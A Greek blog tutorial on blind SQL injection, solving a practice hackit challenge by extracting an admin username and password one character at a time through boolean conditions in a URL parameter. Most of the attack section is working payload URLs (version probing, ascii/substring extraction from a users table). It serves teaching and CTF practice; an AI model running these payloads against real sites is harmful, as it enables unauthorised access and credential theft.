RSS

SQL injection στα… τυφλά!

16 Jan

Στα προηγούμενα άρθρα, ασχοληθήκαμε με τυπικές -και αρκετά απλές- επιθέσεις SQL injection. Καιρός να μπούμε πλέον, σε λίγο πιο βαθιά νερά!

Όπως θα θυμάστε απ’ όσα είχαμε αναφέρει, κατά τη διάρκεια μίας τυπικής (κυρίως error–based) επίθεσης SQL injection, συνήθως δοκιμάζουμε κάποιες λίγο–πολύ «κλασικές» εντολές SQL στον server που έχουμε ως στόχο. Στην περίπτωση που ο server, μετά τις δοκιμές μας, ανταποκριθεί «θετικά», δηλαδή, εμφανίσει κάποιο μήνυμα λάθους (ή γενικότερα συμπεριφερθεί κάπως μη αναμενόμενα), τότε υπάρχει μεγάλη πιθανότητα να είναι ευπαθής σε SQL injection.

Σίγουρα, έχουν υπάρξει πολλές φορές που ενώ προσπαθούμε να εκτελέσουμε μία τέτοιου είδους επίθεση απέναντι σε έναν στόχο που μας έχουν αναθέσει (είτε σε κάποια δουλειά είτε σε κάποιο διαγωνισμό Capture The Flag κ.λπ.) και παρατηρώντας τη γενικότερη συμπεριφορά του στόχου μας, αντιλαμβανόμαστε ότι όντως «κάτι τρέχει». Όταν, όμως, δοκιμάζουμε ορισμένες απ’ τις κλασικές εντολές SQL (που αναφέραμε στα προηγούμενα δύο τεύχη), δεν παίρνουμε κάποιο αξιόλογο, κατά την άποψή μας αποτέλεσμα, ώστε να βασιστούμε πάνω του και να συνεχίσουμε την έρευνά μας!

Μήπως, όμως, η λύση βρίσκεται μπροστά μας και απλώς εμείς δεν τη βλέπουμε; Το τι εννοούμε, θα το καταλάβετε στη συνέχεια του άρθρου! Ένα τέτοιο παράδειγμα αποτελεί και το δεύτερο level μίας σειράς από hackit challenges που φιλοξενούνται στη σελίδα. Προτού συνεχίσετε να διαβάζετε το άρθρο, σας προτείνουμε να προσπαθήσετε να επιτεθείτε στη σελίδα που μόλις σας αναφέραμε με βάση ό,τι μάθατε στα προηγούμενα τεύχη.

Όχι, μην ανησυχείτε, είναι ειδικά κατασκευασμένη γι’ αυτόν ακριβώς το σκοπό! Κάποιος που δεν διαθέτει ιδιαίτερη εμπειρία σε επιθέσεις τέτοιου τύπου και έπειτα από μερικά tests, πιθανώς να πιστέψει ότι η παραπάνω σελίδα δεν πάσχει από κάποια ευπάθεια την οποία θα μπορούσε να την εκμεταλλευτεί με SQL injection. Ίσως, πράγματι με την πρώτη ματιά να φαίνεται έτσι, αλλά πολλές φορές τα φαινόμενα απατούν! Με χαρά μας, λοιπόν, σε αυτό το άρθρο, σάς παρουσιάζουμε την επίθεση Blind SQL injection!

Λίγη, αλλά απαραίτητη, θεωρία!

Όσοι δεν είχατε ακούσει στο παρελθόν αυτόν το ορισμό, σίγουρα θα έχετε αρχίσει να αναρωτιέστε «μα τι στο καλό είναι αυτό το Blind SQL injection;», καθώς και «τι διαφορά έχει από μία τυπική επίθεση SQL injection;». Ας πάρουμε τα πράγματα με τη σειρά. Κατ’ αρχάς, αξίζει να σημειώσουμε ότι η λογική μίας τυπικής επίθεσης Blind SQL injection δεν διαφέρει σε τίποτε απολύτως από μία απλή επίθεση SQL injection, αφού και στις δύο περιπτώσεις, εκτελώντας εντολές SQL ενάντια σε έναν στόχο, προσπαθούμε να αποσπάσουμε ευαίσθητες πληροφορίες (όπως κωδικοί πρόσβασης, ονόματα χρηστών, e–mails κ.λπ.) μέσα από τη βάση δεδομένων στην οποία επιτιθέμεθα. H ουσιαστική διαφορά είναι στα μηνύματα λάθους που πιθανώς να εμφανίζει ο στόχος μας. Στην περίπτωση της Blind SQL injection, όταν εκτελούμε διάφορες εντολές στο στόχο μας, δεν παίρνουμε κάποια «ουσιαστική» ανταπόκριση (σχεδόν καμία!), για παράδειγμα κάποιο όνομα από table, column κ.λπ., όπως στην περίπτωση των προηγούμενων άρθρων. Αντίθετα, αυτό που παίρνουμε, είναι θετικά η αρνητικά responses (ανταποκρίσεις) απ’ το στόχο, με αποτέλεσμα να συνεχίζουμε στα «τυφλά» την επίθεσή μας. Έτσι, ο λόγος που η συγκεκριμένη επίθεση πήρε το όνομα «Blind» (=τυφλή) είναι πλέον μάλλον προφανής.

Συλλέγοντας τα απαραίτητα στοιχεία!

Το πρώτο που θα πρέπει να κάνουμε προτού αρχίσουμε να δοκιμάζουμε διάφορες SQL εντολές απέναντι στο στόχο μας, είναι να ξεκινήσουμε να συλλέγουμε όσο το δυνατό περισσότερα στοιχεία. Στη σελίδα όπου βρισκόμαστε, παρατηρούμε ότι υπάρχει μία απλή εφαρμογή ημερολογίου. Σε μία λίστα (στο πτυσσόμενο μενού) έχουν καταχωριστεί απ’ το διαχειριστή της σελίδας μερικές ημερομηνίες. Ακριβώς δίπλα, υπάρχει ένα κουμπί, «Check!», το οποίο, όταν επιλέξει ο χρήστης κάποια απ’ τις διαθέσιμες ημερομηνίες, εκτελεί έναν έλεγχο σχετικά με το αν έχουν καταχωριστεί ή όχι meetings τη συγκεκριμένη ημερομηνία. Σε περίπτωση που όντως έχει καταχωριστεί κάποιο meeting, θα εμφανιστεί με μεγάλα γράμματα στη σελίδα το ανάλογο μήνυμα, «You ’ve got a meeting!», ενώ αντίστοιχα, αν δεν υπάρχει κάποια καταχώριση, θα εμφανιστεί το «No meeting this day!». Ωραία! Μέχρι εδώ όλα καλά! Αλλά τι θα λέγατε να ρίχναμε μία ματιά και στον source code της σελίδας, ώστε να αποκτήσουμε μία πιο σφαιρική άποψη;

</pre>
<form action=”level2.php” method=”get”> 
<select name=”date”> 
<option value=”8022010”>08.02.2010</option> 
<option value=”9022010”>09.02.2010</option> 
<option value=”10022010”>10.02.2010</option> 
<option value=”11022010”>11.02.2010</option> 
<option value=”12022010”>12.02.2010</option> 
</select><input type=”submit” value=”Check!”> 

Η μέθοδος (method) που βλέπουμε στην πρώτη σειρά, καθορίζει τον τρόπο με τον οποίο θα σταλούν τα δεδομένα στον server, ώστε στη συνέχεια να τα επεξεργαστεί. Μία μέθοδος μπορεί να πάρει τις τιμές “GET” ή “POST”.

Στην περίπτωσή μας γίνεται χρήση της μεθόδου “GET”. Κατά τη χρήση της μεθόδου “GET”, τα δεδομένα προστίθενται στο τέλος του URL. Για του λόγου του αληθές, αν επιλέξουμε μέσα απ’ τη λίστα την ημερομηνία 12.02.2010 και πατήσουμε το κουμπί Check!, η μεταβλητή “date” θα πάρει την τιμή “12022010” και στη συνέχεια θα κάνει έναν έλεγχο για καταχωρισμένα meetings! Τέλος, θα μας εμφανίσει στη σελίδα, το μήνυμα «You ‘ve got a meeting!». Ας δοκιμάσουμε να «εξετάσουμε» πόσο ασφαλής είναι αυτή η εφαρμογή. Ως γνωστόν, το πρώτο πράγμα που κάνουμε (για να ελέγξουμε αν υπάρχει κάποια ευπάθεια), είναι να εισαγάγουμε στο τέλος του URL ένα μονό εισαγωγικό “ ‘ ” και να παρατηρήσουμε την αντίδραση. Αφού εισαγάγαμε κάτι τέτοιο, διαπιστώνουμε ότι ο στόχος μας αποκρίνεται κάπως «παράξενα», εμφανίζοντας ένα ασυνήθιστο μήνυμα λάθους, το οποίο σαφώς δεν θα έπρεπε να βλέπουμε εμείς.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\\\’’ at line 1

Έτσι αντιλαμβανόμαστε ότι είμαστε σε καλό δρόμο, μια και όντως υπάρχει κάποιο πρόβλημα. Αυτό σημαίνει ότι κατά πάσα πιθανότητα αυτή η εφαρμογή είναι ευπαθής σε SQL Injection. Συγκεκριμένα, η παράμετρος “date” έχει πρόβλημα. Βέβαια, τα προβλήματα -για εμάς- ξεκινούν, όταν δοκιμάζουμε να εκτελέσουμε κάτι σαν @@VERSION (ώστε να μας επιστρέψει την έκδοση του SQL server). Δυστυχώς δεν έχουμε κάποιο αποτέλεσμα και γενικά παρατηρούμε ότι δεν «προχωρά» η επίθεσή μας. Χμ… Σκεφτόμαστε ότι μάλλον είναι μία καλή ευκαιρία να δοκιμάσουμε στην πράξη ένα Blind SQL injection στη σελίδα

Θυμάστε τι σας είχαμε αναφέρει προηγουμένως σχετικά με τη διαφορά της απλής επίθεσης SQL injection σε σχέση με την Blind SQL injection; Ότι σε μία Blind SQL injection, αυτό που παίρνουμε δεν είναι μηνύματα λάθους, αλλά θετικά ή αρνητικά responses (ανταποκρίσεις) απ’ το στόχο.

Έτσι, θα χρειαστεί κάνουμε χρήση της αληθούς λογικής συνθήκης “and 1=1” στο τέλος του URL, δηλαδή, θα έχουμε αυτό:

http://invi.phpnet.us/level2.php?date=12022010 and 1=1

Θα δούμε να αναγράφει το μήνυμα, «You ’ve got a meeting!» (εικόνα 1).

Εικόνα 1: Στην αληθή συνθήκη, που προσθέσαμε στο τέλος, η σελίδα μας αποκρύβεται… αληθώς.

Αυθαίρετα, λοιπόν, ορίζουμε (στο μυαλό μας) αυτό ως το αληθές μήνυμα που θα χρησιμοποιήσουμε στη συνέχεια. Τι θα γινόταν άραγε, αν κάναμε χρήση μίας συνθήκης η οποία είναι ψευδής; Για να το ανακαλύψουμε, θα πρέπει να αλλάξουμε το αληθές “and 1=1” σε κάτι που ΔΕΝ ισχύει, για να δούμε αν είναι τρωτή η ιστοσελίδα μας ή όχι! Βάζοντας, λοιπόν, στο τέλος του URL το “and 1=2”.

http://invi.phpnet.us/level2.php?date=12022010 and 1=2

Παρατηρούμε ότι όντως το μήνυμα άλλαξε σε «No meeting this day!» (εικόνα 2).

Εικόνα 2: Στην ψευδή συνθήκη που προσθέσαμε στο τέλος, τα πράγματα αλλάξαν και η σελίδα τώρα αποκρύβεται…ψευδώς.

Συνοψίζοντας, λοιπόν, σε γενικές γραμμές, για να δούμε αν μία ιστοσελίδα είναι τρωτή σε Blind SQL injection, κάνουμε αυτό που σας περιγράψαμε παραπάνω. Αν παρατηρήσουμε κάποια αλλαγή, τροποποιώντας τις συνθήκες από αληθείς σε ψευδείς και αντίστροφα, μπορούμε να προχωρήσουμε παρακάτω. Προτού προχωρήσουμε, όμως, στην κυρίως επίθεση, αξίζει να αναφέρουμε ότι όλες οι εντολές θα «δίνονται» παρόμοια, με τον τρόπο που αναφέραμε προηγουμένως. Δηλαδή, δίνουμε εμείς διάφορες συνθήκες και βλέπουμε πώς αντιδρά σε αυτές η σελίδα!

Το πρώτο test μας!

Σε περίπτωση που θέλουμε να ελέγξουμε την έκδοση SQL που «τρέχει» η ιστοσελίδα, βάζουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=4

και παρατηρούμε τι θα μας επιστρέψει η σελίδα! Βλέπουμε ότι μας επέστρεψε το μήνυμα της ψεύδους  συνθήκης! Αυτό σημαίνει η έκδοση SQL ΔΕΝ είναι 4! Άρα, δοκιμάζουμε να αλλάξουμε το 4 σε 5 και να τρέξουμε ξανά την εντολή, με αυτή τη μορφή πλέον:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=5

Τι παρατηρούμε; Το μήνυμα που εμφανιζόταν πριν –στην ψευδή συνθήκη– άλλαξε και αντικαταστάθηκε απ’ το μήνυμα της αληθούς! Αυτό, με απλά λόγια σημαίνει ότι καταφέραμε να ανακαλύψουμε την έκδοση SQL που «τρέχει» η σελίδα! Είναι η 5!

Εξαπολύοντας την επίθεσή μας, αλλά στα τυφλά!

Στην προκειμένη περίπτωση, έχουμε στο χέρι αρκετά στοιχεία. Γνωρίζουμε απ’ την εκφώνηση της άσκησης, “you gotta hack and login as admin (table name is “level2_users”)”, ότι πρέπει να ανακαλύψουμε το συνθηματικό του χρήστη “admin”, καθώς και ότι το table που περιέχει τα στοιχεία που μας ενδιαφέρουν, δηλαδή, usernames και passwords, έχει την ονομασία “level2_users”. Εμείς, όμως, για περισσότερη εξάσκηση, θα σας δείξουμε πώς θα ανακαλύπταμε και το username του χρήστη που μας ενδιέφερε, ακόμη και αν δεν το γνωρίζαμε εξαρχής, όπως στο παράδειγμά μας.

Για να βρούμε, λοιπόν, το πρώτο γράμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα χρειαστεί να εισαγάγουμε την εντολή:

and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=id_του_χρήστη),θέση,1))>γράμμα_σε_ascii.

Για να ανακαλύψουμε το πρώτο γραμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα πρέπει να τροποποιήσουμε την παραπάνω εντολή ανάλογα με τα ζητούμενά μας. Δηλαδή, αν υποθέσουμε ότι αναζητούμε το πρώτο γράμμα του username του χρήστη με id=1 (συνήθως ο διαχειριστής έχει id=1) θα δώσουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>1

Προσοχή: Την τιμή “γράμμα_σε_ascii” την αυξάνουμε ή τη μειώνουμε ανάλογα με τα responses που παίρνουμε απ’ τη σελίδα. Για να το κάνουμε αυτό, ξεκινάμε από μία «χαμηλή» ascii τιμή. Για παράδειγμα, μπορούμε να ξεκινήσουμε απ’ το 30:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>30

Η συνθήκη αυτή θα μας επιστρέψει θετικό response («You ’ve got a meeting!»).Συνεχίζουμε και αυξάνουμε την τιμή “30” με ό,τι ρυθμό θέλουμε (σας προτείνουμε ανά 20 ή 30). Καλό είναι να θυμόμαστε ότι θα αυξάνουμε αυτή την τιμή μέχρι να πάρουμε το μήνυμα της αρνητικής συνθήκης, «No meeting this day!». Μετά αρχίζουμε πάλι να μειώνουμε την τιμή, έως ότου βρούμε την τιμή όπου αλλάζει το μήνυμα από θετικό σε αρνητικό και αντίστροφα.

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>97

Έτσι, έπειτα από αρκετές προσπάθειες και αυξομειώσεις της τιμής, ανακαλύψαμε ότι ο χαρακτήρας (σε ascii) που μας ενδιαφέρει, είναι μεγαλύτερος από το 96, αφού όταν βάζουμε “96”, έχουμε θετικό response (εικόνα 3), αλλά όχι μεγαλύτερος από 97, όπου μας επιστρέφει αρνητικό (εικόνα 4) αποτέλεσμα για πρώτη φορά.

Εικόνα 3 : Έως το 96 (σε ascii), η σελίδα μάς επιστρέφει την απόκριση του αληθούς μηνύματος.

Εικόνα 4 : Στο 97 (γράμμα “a” σε ascii) άλλαξε η απόκριση για πρώτη φορά από αληθής σε ψευδή.

Οπότε, συμπεραίνουμε ότι το πρώτο γράμμα είναι το “a”, αφού γνωρίζουμε ότι το 97 σε ascii αντιστοιχεί στο γράμμα “a”. Αντίστοιχα εργαζόμαστε και για τα υπόλοιπα γράμματα του username, μέχρι να συναντήσουμε το σύμβολο “:”, όπου από εκεί και μετά ξεκινά το password.

Προσοχή: Το χαρακτήρα “:”, τον βάλαμε επίτηδες για να καταλάβουμε πού τελειώνει το username και πού ξεκινά το password. Φυσικά, θα μπορούσαμε να είχαμε χρησιμοποιή σει κάποιον άλλο χαρακτήρα

Το 2o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),2,1))>100

“d”

Το 3ο γράμμα :

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),3,1))>109

“m”

Το 4o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),4,1))>105

“i”

Το 5ο γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),5,1))>110

“n”

Τέρμα με το username! Είναι όντως η λέξη “admin”! Λογικά σκεπτόμενοι, ο επόμενος χαρακτήρας που θα ακολουθήσει, είναι το “:”

Το 6ο γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),6,1))>58

“:”

Συνεχίζουμε να εργαζόμαστε με τον ίδιο ακριβώς τρόπο, ώστε να βρούμε και το συνθηματικό!

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),7,1))>119

“w”

Το 8o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),8,1))>101

“e”

Το 9o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),9,1))>97

“a”

Το 10o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),10,1))>107

“k”

To 11o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),11,1))>97

“a”

Το 12o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),12,1))>100

“d”

Το 13o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),13,1))>109

“m”

Το 14o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),14,1))>105

“i”

Το 15o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),15,1))>110

“n”

Το 16o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),16,1))>112

“p”

Το 17o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),17,1))>119

“w”

Παρατηρούμε ότι, δεν υπάρχει επόμενο γράμμα στο password, ώστε να συνεχίσουμε την αναζήτηση μας και να το προσθέσουμε!

Επιτέλους, Got PWNED!😉

Καταφέραμε, τελικά, έπειτα από αρκετές προσπάθειες, να «μαντέψουμε» το password του χρήστη “admin”, το οποίο είναι “weakadminpw”.

Δοκιμάσαμε στη συνέχεια να συνδεθούμε με αυτά τα στοιχεία στο login που υπάρχει στην ίδια σελίδα! Δοκιμάστε και εσείς να επαναλάβετε τη διαδικασία που μόλις σας περιγράψαμε, ώστε να αντιληφθείτε σε βάθος πώς αλλά κυρίως γιατί εργαστήκαμε με αυτόν τον τρόπο προηγουμένως.

Εικόνα 5 : Τελικά, ανακαλύψαμε το password του “admin” και συνδεθήκαμε!

Μία ακόμη άσκηση!
Δοκιμάστε τις γνώσεις σας απέναντι στο πρώτο level.Στόχος σας σε αυτό το hackit challenge είναι να καταφέρετε να ανακαλύψετε το password του χρήστη “admin”. Δεν είναι δύσκολο, πιστέψτε μας! Δοκιμάστε να χρησιμοποιήσετε τις γνώσεις που αποκτήσατε στα προηγούμενα δύο τεύχη! Hint: Google is your best friend🙂

 
1 Comment

Posted by on January 16, 2012 in It's Greek to Me

 

Tags: , ,

One response to “SQL injection στα… τυφλά!

  1. george

    January 27, 2012 at 11:12 pm

    Ωραιος ρε keep it up!

     

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: